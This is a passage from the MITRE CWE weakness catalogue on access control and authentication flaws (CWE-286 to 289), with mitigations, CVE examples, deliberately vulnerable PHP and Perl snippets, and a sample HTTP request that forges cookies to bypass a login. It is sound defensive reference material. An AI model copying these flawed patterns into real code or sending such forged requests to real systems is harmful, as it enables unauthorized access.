This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

Example Language: PHP *(bad)*

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl *(bad)*

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168*
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960*
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597*
CVE-2009-2282	Terminal server does not check authorization for guest access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282*
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230*
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123*
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424*

Reference	Description
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577*
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548*
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679*
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	1874
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895
MemberOf	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	1899
MemberOf	C	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	928	1932
MemberOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1933
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	1977

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing Access Control
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
Software Fault Patterns	SFP35		Insecure resource access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
5	Blue Boxing
13	Subverting Environment Variable Values
17	Using Malicious Files
39	Manipulating Opaque Client-based Data Tokens
45	Buffer Overflow via Symbolic Links
51	Poison Web Service Registry
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
76	Manipulating Web Input to File System Calls
77	Manipulating User-Controlled Variables
87	Forceful Browsing
104	Cross Zone Scripting
127	Directory Indexing
402	Bypassing ATA Password Security
647	Collect Data from Registries

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-229]NIST. "Role Based Access Control and Role Based Security". < http://csrc.nist.gov/groups/SNS/rbac/ >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/ >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-286: Incorrect User Management

Weakness ID : 286 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly manage a user within its environment.

Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	B	842	Placement of User into Incorrect Group	1562

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	1933

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Maintenance

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			User management errors

CWE-287: Improper Authentication

Weakness ID : 287 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	B	261	Weak Encoding for Password	575
ParentOf	B	262	Not Using Password Aging	577
ParentOf	B	263	Password Aging with Long Expiration	579
ParentOf	B	288	Authentication Bypass Using an Alternate Path or Channel	636
ParentOf	V	289	Authentication Bypass by Alternate Name	638
ParentOf	B	290	Authentication Bypass by Spoofing	640
ParentOf	B	294	Authentication Bypass by Capture-replay	647
ParentOf	B	295	Improper Certificate Validation	648
ParentOf	V	301	Reflection Attack in an Authentication Protocol	666
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	668
ParentOf	B	303	Incorrect Implementation of Authentication Algorithm	670
ParentOf	B	304	Missing Critical Step in Authentication	671
ParentOf	B	305	Authentication Bypass by Primary Weakness	673
ParentOf	B	306	Missing Authentication for Critical Function	674
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	678
ParentOf	B	308	Use of Single-factor Authentication	682
ParentOf	B	309	Use of Password System for Primary Authentication	684
ParentOf	B	521	Weak Password Requirements	1089
ParentOf	C	522	Insufficiently Protected Credentials	1091
ParentOf	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1183
ParentOf	B	603	Use of Client-Side Authentication	1204
ParentOf	B	620	Unverified Password Change	1229
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	1253
ParentOf	B	645	Overly Restrictive Account Lockout Mechanism	1267
ParentOf	B	798	Use of Hard-coded Credentials	1486
ParentOf	B	804	Guessable CAPTCHA	1495
ParentOf	B	836	Use of Password Hash Instead of Password for Authentication	1549
CanFollow	B	613	Insufficient Session Expiration	1219

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	290	Authentication Bypass by Spoofing	640
ParentOf	B	294	Authentication Bypass by Capture-replay	647
ParentOf	B	295	Improper Certificate Validation	648
ParentOf	B	306	Missing Authentication for Critical Function	674

Nature	Type	ID	Name	Page
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	678
ParentOf	B	521	Weak Password Requirements	1089
ParentOf	C	522	Insufficiently Protected Credentials	1091
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	1253
ParentOf	B	798	Use of Hard-coded Credentials	1486

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

authentification : An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthC : "AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Read Application Data Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.*	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness = Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

Demonstrative Examples

Example 1:

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs

administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

Example Language: Perl *(bad)*

```
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    }
    else {
        # Set loggedin and user cookies.
        $q->cookie(
            -name => 'loggedin',
            -value => 'true'
            );
        $q->cookie(
            -name => 'user',
            -value => $q->param('username')
            );
    }
}
if ($q->cookie('user') eq "Administrator") {
    DoAdministratorTasks();
}
```

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

Example Language: *(attack)*

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true
[body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Observed Examples

Reference	Description
CVE-2009-3421	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3421*
CVE-2009-2382	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2382*
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048*

Reference	Description
CVE-2009-2213	product uses default "Allow" action, instead of default deny, leading to authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213*
CVE-2009-2168	chain: redirect without exit (CWE-698) leads to resultant authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2168*
CVE-2009-3107	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3107*
CVE-2009-1596	product does not properly implement a security-related configuration setting, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1596*
CVE-2009-2422	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2422*
CVE-2009-3232	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3232*
CVE-2009-3231	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3231*
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408*

Functional Areas

- Authentication

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	1873
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	1897
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Error
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	1		Insufficient Authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
22	Exploiting Trust in Client
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
94	Man in the Middle Attack
114	Authentication Abuse
115	Authentication Bypass
151	Identity Spoofing
194	Fake the Source of Data
593	Session Hijacking
633	Token Impersonation
650	Upload a Web Shell to a Web Server

References

[REF-237]OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. < http://www.owasp.org/index.php/Top_10_2007-A7 >.

[REF-238]OWASP. "Guide to Authentication". < http://www.owasp.org/index.php/Guide_to_Authentication >.

[REF-239]Microsoft. "Authentication". < http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID : 288 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ParentOf	B	425	Direct Request ('Forced Browsing')	915
PeerOf	B	420	Unprotected Alternate Channel	909
PeerOf	B	425	Direct Request ('Forced Browsing')	915

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

Observed Examples

Reference	Description
CVE-2000-1179	Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1179*
CVE-1999-1454	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1454*
CVE-1999-1077	OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1077*
CVE-2003-0304	Direct request of installation file allows attacker to create administrator accounts. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0304*
CVE-2002-0870	Attackers may gain additional privileges by directly requesting the web management URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0870*
CVE-2002-0066	Bypass authentication via direct request to named pipe. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0066*
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1035*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	1874
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Notes

Relationship

overlaps Unprotected Alternate Channel

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
127	Directory Indexing

CWE-289: Authentication Bypass by Alternate Name

Weakness ID : 289 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
CanFollow	V	46	Path Equivalence: 'filename ' (Trailing Space)	90
CanFollow	V	52	Path Equivalence: '/multiple/trailing/slash//'	97
CanFollow	V	173	Improper Handling of Alternate Encoding	401
CanFollow	B	178	Improper Handling of Case Sensitivity	411

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2003-0317	Protection mechanism that restricts URL access can be bypassed using URL encoding. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0317*
CVE-2004-0847	Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Nature	Type	ID	Name	V	Page
